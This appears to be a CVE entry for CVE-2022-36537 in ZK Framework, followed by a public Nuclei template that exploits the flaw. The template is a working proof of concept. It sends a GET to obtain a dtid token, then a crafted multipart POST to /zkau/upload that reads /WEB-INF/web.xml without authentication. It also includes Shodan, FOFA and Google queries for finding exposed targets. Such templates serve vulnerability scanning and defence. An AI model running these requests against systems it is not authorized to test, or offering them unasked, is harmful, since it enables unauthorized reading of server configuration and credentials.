ZK Framework 9.6.1, 9.6.0.1, 9.5.1.3, 9.0.1.2 and 8.6.4.1 is susceptible to information disclosure. An attacker can access sensitive information via a crafted POST request to the component AuUploader and thereby possibly obtain additional sensitive information, modify data, and/or execute unauthorized operations.
PoC代码[已公开]
id: CVE-2022-36537
info:
name: ZK Framework - Information Disclosure
author: theamanrawat
severity: high
description: |
ZK Framework 9.6.1, 9.6.0.1, 9.5.1.3, 9.0.1.2 and 8.6.4.1 is susceptible to information disclosure. An attacker can access sensitive information via a crafted POST request to the component AuUploader and thereby possibly obtain additional sensitive information, modify data, and/or execute unauthorized operations.
impact: |
The vulnerability can lead to the exposure of sensitive data, such as credentials or internal system information.
remediation: |
Apply the latest security patches or updates provided by the ZK Framework to fix the information disclosure vulnerability.
reference:
- https://github.com/Malwareman007/CVE-2022-36537/
- https://tracker.zkoss.org/browse/ZK-5150
- https://nvd.nist.gov/vuln/detail/CVE-2022-36537
- https://www.bleepingcomputer.com/news/security/cisa-warns-of-hackers-exploiting-zk-java-framework-rce-flaw/
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-36537
cwe-id: CWE-200
epss-score: 0.9402
epss-percentile: 0.9989
cpe: cpe:2.3:a:zkoss:zk_framework:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: zkoss
product: zk_framework
shodan-query:
- http.title:"Server backup manager"
- http.title:"server backup manager"
fofa-query: title="server backup manager"
google-query: intitle:"server backup manager"
tags: cve,cve2022,zk-framework,exposure,unauth,kev,intrusive,zkoss
http:
- raw:
- |
GET /login.zul HTTP/1.1
Host: {{Hostname}}
- |
POST /zkau/upload?uuid=101010&dtid={{dtid}}&sid=0&maxsize=-1 HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCs6yB0zvpfSBbYEp
Content-Length: 154
------WebKitFormBoundaryCs6yB0zvpfSBbYEp
Content-Disposition: form-data; name="nextURI"
/WEB-INF/web.xml
------WebKitFormBoundaryCs6yB0zvpfSBbYEp--
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- <display-name>.*</display-name>
- |-
<welcome-file-list>((.|
)*)welcome-file-list>
- xml version
- web-app
condition: and
- type: status
status:
- 200
extractors:
- type: regex
name: dtid
group: 1
regex:
- "dt:'(.*?)',cu:"
internal: true
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